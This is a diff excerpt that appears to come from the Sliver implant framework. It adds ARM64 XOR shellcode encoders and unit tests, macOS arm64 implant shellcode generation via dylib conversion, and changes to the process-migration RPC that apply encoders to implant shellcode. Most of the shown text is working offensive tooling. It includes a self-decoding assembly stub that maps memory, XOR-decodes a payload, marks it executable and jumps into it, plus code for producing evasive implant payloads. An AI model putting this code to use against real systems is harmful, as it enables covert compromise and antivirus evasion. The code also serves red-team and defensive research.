// Try Darwin flags first, then retry with Linux flags if the syscall fails.
|
||||
"tbnz x0, #63, mmap_linux",
|
||||
"b mmap_ok",
|
||||
"mmap_linux:",
|
||||
"mov x0, #0",
|
||||
"mov x1, x22",
|
||||
"mov x2, #3", // PROT_READ|PROT_WRITE
|
||||
"mov x3, #0x22", // MAP_PRIVATE|MAP_ANONYMOUS (linux)
|
||||
"mov x4, #-1",
|
||||
"mov x5, #0",
|
||||
"mov x8, #222", // Linux: __NR_mmap
|
||||
fmt.Sprintf("movz x16, #0x%X", uint16(0x020000C5&0xffff)),
|
||||
fmt.Sprintf("movk x16, #0x%X, lsl #16", uint16((0x020000C5>>16)&0xffff)),
|
||||
fmt.Sprintf("movk x16, #0x%X, lsl #32", uint16((0x020000C5>>32)&0xffff)),
|
||||
fmt.Sprintf("movk x16, #0x%X, lsl #48", uint16((0x020000C5>>48)&0xffff)),
|
||||
"svc #0",
|
||||
"mmap_ok:",
|
||||
"mov x23, x0", // x23 = dest base
|
||||
"mov x24, x0", // x24 = dest ptr
|
||||
"mov x3, x20", // restore src pointer (payload start)
|
||||
"mov x4, x19", // restore key pointer
|
||||
|
||||
"decode_loop:",
|
||||
"cmp x3, x9", // reached terminator?
|
||||
"b.eq decode_done",
|
||||
|
||||
"ldrb w5, [x4], #1", // load key byte
|
||||
fmt.Sprintf("cmp w5, #0x%02X", keyTerm),
|
||||
"b.ne have_key",
|
||||
"mov x4, x19", // reset key pointer
|
||||
"ldrb w5, [x4], #1", // load first key byte
|
||||
"have_key:",
|
||||
"ldrb w6, [x3], #1", // load payload byte + advance
|
||||
"eor w6, w6, w5",
|
||||
"strb w6, [x24], #1", // store + advance dest
|
||||
"b decode_loop",
|
||||
|
||||
"decode_done:",
|
||||
// mprotect(dst, payloadLen, PROT_READ|PROT_EXEC)
|
||||
"mov x0, x23",
|
||||
"mov x1, x22",
|
||||
"mov x2, #5", // PROT_READ|PROT_EXEC
|
||||
"mov x8, #226", // Linux: __NR_mprotect
|
||||
fmt.Sprintf("movz x16, #0x%X", uint16(0x0200004A&0xffff)),
|
||||
fmt.Sprintf("movk x16, #0x%X, lsl #16", uint16((0x0200004A>>16)&0xffff)),
|
||||
fmt.Sprintf("movk x16, #0x%X, lsl #32", uint16((0x0200004A>>32)&0xffff)),
|
||||
fmt.Sprintf("movk x16, #0x%X, lsl #48", uint16((0x0200004A>>48)&0xffff)),
|
||||
"svc #0",
|
||||
"br x23", // jump to decoded payload
|
||||
"payload:",
|
||||
}, "\n")
|
||||
|
||||
inst, err := engine.Assemble(src, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(inst) == 0 || len(inst)%4 != 0 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: unexpected stub length %d", len(inst))
|
||||
}
|
||||
return inst, nil
|
||||
}
|
||||
|
||||
func containsBadchars(data []byte, badchars map[byte]bool) bool {
|
||||
for _, b := range data {
|
||||
if badchars[b] {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package arm64
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSelectPayloadTermFallsBackTo4Bytes(t *testing.T) {
|
||||
allowed := allowedDynamicChars()
|
||||
|
||||
// Populate the encoded payload with every allowed *distinct* 2-byte sequence
|
||||
// so no 2-byte terminator can be selected.
|
||||
encoded := make([]byte, 0, len(allowed)*len(allowed)*2)
|
||||
for _, first := range allowed {
|
||||
for _, second := range allowed {
|
||||
if first == second {
|
||||
continue
|
||||
}
|
||||
encoded = append(encoded, first, second)
|
||||
}
|
||||
}
|
||||
|
||||
term, err := selectPayloadTerm(encoded)
|
||||
if err != nil {
|
||||
t.Fatalf("selectPayloadTerm failed: %v", err)
|
||||
}
|
||||
if len(term) != 4 {
|
||||
t.Fatalf("expected 4-byte terminator, got %d bytes", len(term))
|
||||
}
|
||||
if bytes.Contains(encoded, term) {
|
||||
t.Fatalf("4-byte terminator unexpectedly present in encoded payload")
|
||||
}
|
||||
|
||||
seen := map[byte]bool{}
|
||||
for _, b := range term {
|
||||
if seen[b] {
|
||||
t.Fatalf("terminator bytes are not distinct: %x", term)
|
||||
}
|
||||
seen[b] = true
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,115 @@
|
||||
package arm64
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestXorDynamicRoundTripAutoTerms(t *testing.T) {
|
||||
// Ensure splitExplicitTerms() returns false by making the would-be key terminator
|
||||
// (key[len-3]) present in candidateKey.
|
||||
coreKey := []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x11, 0x77, 0x88}
|
||||
payload := bytes.Repeat([]byte{0x00}, 64)
|
||||
|
||||
out, err := XorDynamic(payload, coreKey)
|
||||
if err != nil {
|
||||
t.Fatalf("XorDynamic failed: %v", err)
|
||||
}
|
||||
if len(out) <= len(coreKey)+1+len(payload)+2 {
|
||||
t.Fatalf("xor_dynamic output too short: %d", len(out))
|
||||
}
|
||||
|
||||
payloadTerm := out[len(out)-2:]
|
||||
encodedStart := len(out) - 2 - len(payload)
|
||||
if encodedStart <= 0 {
|
||||
t.Fatalf("bad encodedStart: %d", encodedStart)
|
||||
}
|
||||
keyTerm := out[encodedStart-1]
|
||||
encoded := out[encodedStart : len(out)-2]
|
||||
|
||||
if bytes.IndexByte(coreKey, keyTerm) != -1 {
|
||||
t.Fatalf("keyTerm present in key")
|
||||
}
|
||||
if bytes.Contains(encoded, payloadTerm) {
|
||||
t.Fatalf("payloadTerm present in encoded payload")
|
||||
}
|
||||
|
||||
stubLen := encodedStart - 1 - len(coreKey)
|
||||
if stubLen <= 0 {
|
||||
t.Fatalf("unexpected stub length: %d", stubLen)
|
||||
}
|
||||
if !bytes.Equal(out[stubLen:stubLen+len(coreKey)], coreKey) {
|
||||
t.Fatalf("key region mismatch")
|
||||
}
|
||||
|
||||
decoded := make([]byte, len(encoded))
|
||||
for i := range encoded {
|
||||
decoded[i] = encoded[i] ^ coreKey[i%len(coreKey)]
|
||||
}
|
||||
if !bytes.Equal(decoded, payload) {
|
||||
t.Fatalf("decoded payload mismatch")
|
||||
}
|
||||
}
|
||||
|
||||
func TestXorDynamicRoundTripExplicitTerms(t *testing.T) {
|
||||
coreKey := []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88}
|
||||
payload := bytes.Repeat([]byte{0x00}, 32)
|
||||
|
||||
keyTerm := byte(0xFD)
|
||||
payloadTerm := []byte{0xFF, 0xFE}
|
||||
|
||||
keyWithTerms := make([]byte, 0, len(coreKey)+3)
|
||||
keyWithTerms = append(keyWithTerms, coreKey...)
|
||||
keyWithTerms = append(keyWithTerms, keyTerm)
|
||||
keyWithTerms = append(keyWithTerms, payloadTerm...)
|
||||
|
||||
out, err := XorDynamic(payload, keyWithTerms)
|
||||
if err != nil {
|
||||
t.Fatalf("XorDynamic failed: %v", err)
|
||||
}
|
||||
if len(out) <= len(coreKey)+1+len(payload)+2 {
|
||||
t.Fatalf("xor_dynamic output too short: %d", len(out))
|
||||
}
|
||||
|
||||
if !bytes.Equal(out[len(out)-2:], payloadTerm) {
|
||||
t.Fatalf("payloadTerm mismatch")
|
||||
}
|
||||
encodedStart := len(out) - 2 - len(payload)
|
||||
if encodedStart <= 0 {
|
||||
t.Fatalf("bad encodedStart: %d", encodedStart)
|
||||
}
|
||||
if out[encodedStart-1] != keyTerm {
|
||||
t.Fatalf("keyTerm mismatch")
|
||||
}
|
||||
|
||||
stubLen := encodedStart - 1 - len(coreKey)
|
||||
if stubLen <= 0 {
|
||||
t.Fatalf("unexpected stub length: %d", stubLen)
|
||||
}
|
||||
if !bytes.Equal(out[stubLen:stubLen+len(coreKey)], coreKey) {
|
||||
t.Fatalf("key region mismatch")
|
||||
}
|
||||
|
||||
encoded := out[encodedStart : len(out)-2]
|
||||
decoded := make([]byte, len(encoded))
|
||||
for i := range encoded {
|
||||
decoded[i] = encoded[i] ^ coreKey[i%len(coreKey)]
|
||||
}
|
||||
if !bytes.Equal(decoded, payload) {
|
||||
t.Fatalf("decoded payload mismatch")
|
||||
}
|
||||
}
|
||||
|
||||
func TestXorDynamicRejectsEmptyPayload(t *testing.T) {
|
||||
_, err := XorDynamic(nil, []byte{0x11})
|
||||
if err == nil {
|
||||
t.Fatal("expected error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestXorDynamicRejectsEmptyKey(t *testing.T) {
|
||||
_, err := XorDynamic([]byte{0x90}, nil)
|
||||
if err == nil {
|
||||
t.Fatal("expected error")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
package arm64
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestXorRoundTrip(t *testing.T) {
|
||||
key := []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88}
|
||||
|
||||
tests := [][]byte{
|
||||
{0x90},
|
||||
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90},
|
||||
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90},
|
||||
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90},
|
||||
bytes.Repeat([]byte{0xAB}, 31),
|
||||
bytes.Repeat([]byte{0xAB}, 32),
|
||||
bytes.Repeat([]byte{0xAB}, 33),
|
||||
}
|
||||
|
||||
for _, payload := range tests {
|
||||
payload := payload
|
||||
t.Run(fmt.Sprintf("len=%d", len(payload)), func(t *testing.T) {
|
||||
encoded, err := Xor(payload, key)
|
||||
if err != nil {
|
||||
t.Fatalf("Xor failed: %v", err)
|
||||
}
|
||||
|
||||
paddedLen := ((len(payload) + xorBlockSize - 1) / xorBlockSize) * xorBlockSize
|
||||
if len(encoded) < paddedLen {
|
||||
t.Fatalf("encoded output too short: got=%d want>=%d", len(encoded), paddedLen)
|
||||
}
|
||||
|
||||
stubLen := len(encoded) - paddedLen
|
||||
if stubLen <= 0 {
|
||||
t.Fatalf("unexpected stub length %d", stubLen)
|
||||
}
|
||||
|
||||
encodedPayload := encoded[stubLen:]
|
||||
decoded := make([]byte, len(encodedPayload))
|
||||
copy(decoded, encodedPayload)
|
||||
for i := 0; i < len(decoded); i += xorBlockSize {
|
||||
for j := 0; j < xorKeySize; j++ {
|
||||
decoded[i+j] ^= key[j]
|
||||
}
|
||||
}
|
||||
|
||||
if !bytes.Equal(decoded[:len(payload)], payload) {
|
||||
t.Fatalf("decoded payload mismatch")
|
||||
}
|
||||
if !bytes.Equal(decoded[len(payload):], make([]byte, len(decoded)-len(payload))) {
|
||||
t.Fatalf("decoded padding not zeroed")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestXorRejectsEmptyPayload(t *testing.T) {
|
||||
_, err := Xor(nil, []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88})
|
||||
if err == nil {
|
||||
t.Fatal("expected error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestXorRejectsInvalidKeyLength(t *testing.T) {
|
||||
_, err := Xor([]byte{0x90}, []byte{0x01})
|
||||
if err == nil {
|
||||
t.Fatal("expected error")
|
||||
}
|
||||
}
|
||||
|
||||
// func TestXorGiganticKnotFixture(t *testing.T) {
|
||||
// payload, err := os.ReadFile(filepath.Join("testdata", "GIGANTIC_KNOT.bin"))
|
||||
// if err != nil {
|
||||
// t.Fatalf("failed to read fixture: %v", err)
|
||||
// }
|
||||
// if len(payload) == 0 {
|
||||
// t.Fatal("fixture is empty")
|
||||
// }
|
||||
|
||||
// key := []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88}
|
||||
// encoded, err := Xor(payload, key)
|
||||
// if err != nil {
|
||||
// t.Fatalf("Xor failed: %v", err)
|
||||
// }
|
||||
|
||||
// paddedLen := ((len(payload) + xorBlockSize - 1) / xorBlockSize) * xorBlockSize
|
||||
// if len(encoded) < paddedLen {
|
||||
// t.Fatalf("encoded output too short: got=%d want>=%d", len(encoded), paddedLen)
|
||||
// }
|
||||
|
||||
// stubLen := len(encoded) - paddedLen
|
||||
// if stubLen <= 0 || stubLen%4 != 0 {
|
||||
// t.Fatalf("unexpected stub length %d", stubLen)
|
||||
// }
|
||||
|
||||
// encodedPayload := encoded[stubLen:]
|
||||
// decoded := make([]byte, len(encodedPayload))
|
||||
// copy(decoded, encodedPayload)
|
||||
// for i := 0; i < len(decoded); i += xorBlockSize {
|
||||
// for j := 0; j < xorKeySize; j++ {
|
||||
// decoded[i+j] ^= key[j]
|
||||
// }
|
||||
// }
|
||||
|
||||
// if !bytes.Equal(decoded[:len(payload)], payload) {
|
||||
// t.Fatalf("decoded payload mismatch")
|
||||
// }
|
||||
// }
|
||||
@@ -2,6 +2,7 @@ package shellcode
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/server/encoders/shellcode/amd64"
|
||||
"github.com/bishopfox/sliver/server/encoders/shellcode/arm64"
|
||||
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
|
||||
)
|
||||
|
||||
@@ -65,6 +66,56 @@ func (e *XorDynamicEncoder) Description() string {
|
||||
return "An x64 XOR encoder with dynamic key size for AMD64"
|
||||
}
|
||||
|
||||
type XorEncoderArm64 struct{}
|
||||
|
||||
func (e *XorEncoderArm64) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
|
||||
iterations := args.Iterations
|
||||
if iterations <= 0 {
|
||||
iterations = 1
|
||||
}
|
||||
for i := 0; i < iterations; i++ {
|
||||
key, err := arm64.XorKeyGen()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
encoded, err := arm64.Xor(data, key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
data = encoded
|
||||
}
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func (e *XorEncoderArm64) Description() string {
|
||||
return "Basic XOR encoder for ARM64"
|
||||
}
|
||||
|
||||
type XorDynamicEncoderArm64 struct{}
|
||||
|
||||
func (e *XorDynamicEncoderArm64) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
|
||||
iterations := args.Iterations
|
||||
if iterations <= 0 {
|
||||
iterations = 1
|
||||
}
|
||||
for i := 0; i < iterations; i++ {
|
||||
key, err := arm64.XorDynamicKeyGen()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
encoded, err := arm64.XorDynamic(data, key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
data = encoded
|
||||
}
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func (e *XorDynamicEncoderArm64) Description() string {
|
||||
return "A dynamic XOR encoder for ARM64"
|
||||
}
|
||||
|
||||
type ShikataGaNaiEncoderAmd64 struct{}
|
||||
|
||||
func (e *ShikataGaNaiEncoderAmd64) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
|
||||
@@ -92,6 +143,10 @@ var (
|
||||
"xor_dynamic": &XorDynamicEncoder{},
|
||||
"shikata_ga_nai": &ShikataGaNaiEncoderAmd64{},
|
||||
},
|
||||
"arm64": {
|
||||
"xor": &XorEncoderArm64{},
|
||||
"xor_dynamic": &XorDynamicEncoderArm64{},
|
||||
},
|
||||
"386": {
|
||||
"shikata_ga_nai": &ShikataGaNaiEncoder386{},
|
||||
},
|
||||
|
||||
+143
-14
@@ -44,6 +44,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
utilEncoders "github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/sliverarmory/beignet"
|
||||
"golang.org/x/mod/module"
|
||||
"golang.org/x/text/cases"
|
||||
"golang.org/x/text/language"
|
||||
@@ -133,11 +134,115 @@ func GetSliversDir() string {
|
||||
// Sliver Generation Code
|
||||
// -----------------------
|
||||
|
||||
// SliverShellcode - Generates a sliver shellcode using Donut
|
||||
// SliverShellcode - Generates a sliver shellcode (Windows: Donut, macOS: beignet)
|
||||
func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
if config.GOOS != "windows" {
|
||||
return "", fmt.Errorf("shellcode format is currently only supported on Windows")
|
||||
switch config.GOOS {
|
||||
case WINDOWS:
|
||||
return windowsShellcode(name, build, config, pbC2Implant)
|
||||
case DARWIN:
|
||||
return darwinShellcode(name, build, config, pbC2Implant)
|
||||
}
|
||||
return "", fmt.Errorf("shellcode format is not supported on %s", config.GOOS)
|
||||
}
|
||||
|
||||
func darwinShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
if config.GOARCH != "arm64" {
|
||||
return "", fmt.Errorf("darwin shellcode format is only supported for arm64 architecture")
|
||||
}
|
||||
if len(config.Exports) == 0 {
|
||||
return "", fmt.Errorf("darwin shellcode requires at least one export symbol")
|
||||
}
|
||||
|
||||
appDir := assets.GetRootAppDir()
|
||||
|
||||
var cc string
|
||||
var cxx string
|
||||
if runtime.GOOS != config.GOOS || runtime.GOARCH != config.GOARCH {
|
||||
buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
|
||||
cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||
}
|
||||
|
||||
buildLog.Infof(" CC: %s", cc)
|
||||
buildLog.Infof("CXX: %s", cxx)
|
||||
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: "1",
|
||||
CC: cc,
|
||||
CXX: cxx,
|
||||
|
||||
GOOS: config.GOOS,
|
||||
GOARCH: config.GOARCH,
|
||||
GOCACHE: gogo.GetGoCache(appDir),
|
||||
GOMODCACHE: gogo.GetGoModCache(appDir),
|
||||
GOROOT: gogo.GetGoRootDir(appDir),
|
||||
GOPROXY: getGoProxy(),
|
||||
HTTPPROXY: getGoHttpProxy(),
|
||||
HTTPSPROXY: getGoHttpsProxy(),
|
||||
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOGARBLE: goGarble(config),
|
||||
}
|
||||
|
||||
config.IsSharedLib = true
|
||||
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
tmpFile, err := os.CreateTemp("", "sliver-*.dylib")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
tmpFile.Close()
|
||||
defer os.Remove(tmpFile.Name())
|
||||
dylibDest := tmpFile.Name()
|
||||
|
||||
tags := []string{}
|
||||
if config.NetGoEnabled {
|
||||
tags = append(tags, "netgo")
|
||||
}
|
||||
ldflags := []string{""} // Garble will automatically add "-s -w -buildid="
|
||||
// Keep those for potential later use
|
||||
gcFlags := ""
|
||||
asmFlags := ""
|
||||
_, err = gogo.GoBuild(*goConfig, pkgPath, dylibDest, "c-shared", tags, ldflags, gcFlags, asmFlags)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
dylibData, err := os.ReadFile(dylibDest)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
compress := false
|
||||
if config.ShellcodeConfig != nil && config.ShellcodeConfig.Compress == 2 {
|
||||
compress = true
|
||||
}
|
||||
shellcodeBin, err := beignet.DylibToShellcode(dylibData, beignet.Options{
|
||||
EntrySymbol: config.Exports[0],
|
||||
Compress: compress,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
shellcodeDest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
|
||||
shellcodeDest += ".bin"
|
||||
|
||||
err = os.WriteFile(shellcodeDest, shellcodeBin, 0600)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
return shellcodeDest, err
|
||||
|
||||
}
|
||||
|
||||
func windowsShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
if config.GOARCH != "amd64" && config.GOARCH != "386" {
|
||||
return "", fmt.Errorf("windows shellcode format is only supported for amd64 and 386 architectures")
|
||||
}
|
||||
|
||||
appDir := assets.GetRootAppDir()
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: "0",
|
||||
@@ -154,7 +259,6 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOGARBLE: goGarble(config),
|
||||
}
|
||||
|
||||
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
|
||||
if err != nil {
|
||||
return "", err
|
||||
@@ -183,7 +287,7 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
shellcode, err := DonutShellcodeFromFile(dest, config.GOARCH, false, "", "", "", config.DonutConfig)
|
||||
shellcode, err := DonutShellcodeFromFile(dest, config.GOARCH, false, "", "", "", config.ShellcodeConfig)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -868,18 +972,43 @@ func GetCompilerTargets() []*clientpb.CompilerTarget {
|
||||
})
|
||||
}
|
||||
|
||||
// SHELLCODE - Can generate shellcode for Windows targets only
|
||||
// SHELLCODE - Windows (Donut) and macOS (beignet, darwin/arm64 only)
|
||||
for longPlatform := range SupportedCompilerTargets {
|
||||
platform := strings.SplitN(longPlatform, "/", 2)
|
||||
if platform[0] != WINDOWS {
|
||||
continue
|
||||
}
|
||||
switch platform[0] {
|
||||
case WINDOWS:
|
||||
targets = append(targets, &clientpb.CompilerTarget{
|
||||
GOOS: platform[0],
|
||||
GOARCH: platform[1],
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
})
|
||||
case DARWIN:
|
||||
if platform[1] != "arm64" {
|
||||
continue
|
||||
}
|
||||
|
||||
targets = append(targets, &clientpb.CompilerTarget{
|
||||
GOOS: platform[0],
|
||||
GOARCH: platform[1],
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
})
|
||||
// We can always try to build our own platform.
|
||||
if runtime.GOOS == platform[0] {
|
||||
targets = append(targets, &clientpb.CompilerTarget{
|
||||
GOOS: platform[0],
|
||||
GOARCH: platform[1],
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
})
|
||||
continue
|
||||
}
|
||||
|
||||
// Cross-compile with the right configuration (same requirements as a darwin shared library build).
|
||||
if runtime.GOOS == LINUX || runtime.GOOS == DARWIN {
|
||||
cc, _ := findCrossCompilers(platform[0], platform[1])
|
||||
if cc != "" {
|
||||
targets = append(targets, &clientpb.CompilerTarget{
|
||||
GOOS: platform[0],
|
||||
GOARCH: platform[1],
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return targets
|
||||
|
||||
@@ -19,24 +19,24 @@ const (
|
||||
)
|
||||
|
||||
// DonutShellcodeFromFile returns a Donut shellcode for the given PE file
|
||||
func DonutShellcodeFromFile(filePath string, arch string, dotnet bool, params string, className string, method string, donutConfig *clientpb.DonutConfig) (data []byte, err error) {
|
||||
func DonutShellcodeFromFile(filePath string, arch string, dotnet bool, params string, className string, method string, shellcodeConfig *clientpb.ShellcodeConfig) (data []byte, err error) {
|
||||
pe, err := os.ReadFile(filePath)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
isDLL := (filepath.Ext(filePath) == ".dll")
|
||||
return DonutShellcodeFromPE(pe, arch, dotnet, params, className, method, isDLL, false, true, donutConfig)
|
||||
return DonutShellcodeFromPE(pe, arch, dotnet, params, className, method, isDLL, false, true, shellcodeConfig)
|
||||
}
|
||||
|
||||
// DonutShellcodeFromPE returns a Donut shellcode for the given PE file
|
||||
func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, className string, method string, isDLL bool, isUnicode bool, createNewThread bool, donutConfig *clientpb.DonutConfig) (data []byte, err error) {
|
||||
func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, className string, method string, isDLL bool, isUnicode bool, createNewThread bool, shellcodeConfig *clientpb.ShellcodeConfig) (data []byte, err error) {
|
||||
ext := ".exe"
|
||||
if isDLL {
|
||||
ext = ".dll"
|
||||
}
|
||||
_ = dotnet
|
||||
|
||||
donutOpts := normalizeDonutConfig(donutConfig, createNewThread, isUnicode)
|
||||
donutOpts := normalizeDonutConfig(shellcodeConfig, createNewThread, isUnicode)
|
||||
donutArch := getDonutArch(arch)
|
||||
|
||||
opts := wasmdonut.GenerateOptions{
|
||||
@@ -73,7 +73,7 @@ type donutOptions struct {
|
||||
oep uint32
|
||||
}
|
||||
|
||||
func normalizeDonutConfig(config *clientpb.DonutConfig, fallbackThread bool, fallbackUnicode bool) donutOptions {
|
||||
func normalizeDonutConfig(config *clientpb.ShellcodeConfig, fallbackThread bool, fallbackUnicode bool) donutOptions {
|
||||
opts := donutOptions{
|
||||
entropy: defaultDonutEntropy,
|
||||
compress: defaultDonutCompress,
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
package rpc
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2020 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// ExecuteChildren - List tracked background execute child processes
|
||||
func (rpc *Server) ExecuteChildren(ctx context.Context, req *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error) {
|
||||
resp := &sliverpb.ExecuteChildren{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
@@ -147,6 +147,8 @@ func normalizeShellcodeArch(arch string) string {
|
||||
return "amd64"
|
||||
case "386", "x86", "i386":
|
||||
return "386"
|
||||
case "arm64", "aarch64":
|
||||
return "arm64"
|
||||
default:
|
||||
return normalized
|
||||
}
|
||||
|
||||
+33
-13
@@ -36,9 +36,9 @@ import (
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
shellcodeencoders "github.com/bishopfox/sliver/server/encoders/shellcode"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
|
||||
"google.golang.org/grpc/codes"
|
||||
@@ -61,7 +61,7 @@ func (rpc *Server) Task(ctx context.Context, req *sliverpb.TaskReq) (*sliverpb.T
|
||||
|
||||
// Migrate - Migrate to a new process on the remote system (Windows only)
|
||||
func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliverpb.Migrate, error) {
|
||||
var shellcode []byte
|
||||
var sc []byte
|
||||
var session *core.Session
|
||||
var beacon *clientpb.Beacon
|
||||
var dbBeacon *models.Beacon
|
||||
@@ -85,7 +85,7 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
|
||||
}
|
||||
|
||||
name := filepath.Base(req.Name)
|
||||
shellcode, arch, err := getSliverShellcode(name)
|
||||
sc, arch, err := getSliverShellcode(name)
|
||||
if err != nil {
|
||||
config := req.Config
|
||||
if req.Name == "" {
|
||||
@@ -119,7 +119,7 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
|
||||
if err != nil {
|
||||
return nil, rpcError(err)
|
||||
}
|
||||
shellcode, _ = os.ReadFile(shellcodePath)
|
||||
sc, _ = os.ReadFile(shellcodePath)
|
||||
// Save the implant config in the database so that the server recognizes it when it tries to connect
|
||||
config.ID = ""
|
||||
savedConfig, err := db.SaveImplantConfig(config)
|
||||
@@ -140,23 +140,43 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
|
||||
|
||||
}
|
||||
|
||||
if len(shellcode) < 1 {
|
||||
if len(sc) < 1 {
|
||||
return nil, status.Error(codes.OutOfRange, "shellcode is zero bytes")
|
||||
}
|
||||
|
||||
switch req.Encoder {
|
||||
|
||||
case clientpb.ShellcodeEncoder_SHIKATA_GA_NAI:
|
||||
shellcode, err = sgn.EncodeShellcode(shellcode, arch, 1, []byte{})
|
||||
if err != nil {
|
||||
return nil, rpcError(err)
|
||||
if req.Encoder != clientpb.ShellcodeEncoder_NONE {
|
||||
encoderName, ok := shellcodeEncoderNames[req.Encoder]
|
||||
if !ok {
|
||||
return nil, status.Error(codes.InvalidArgument, "Unknown encoder")
|
||||
}
|
||||
|
||||
normalizedArch := normalizeShellcodeArch(arch)
|
||||
if normalizedArch == "" {
|
||||
return nil, status.Error(codes.InvalidArgument, "Unknown architecture")
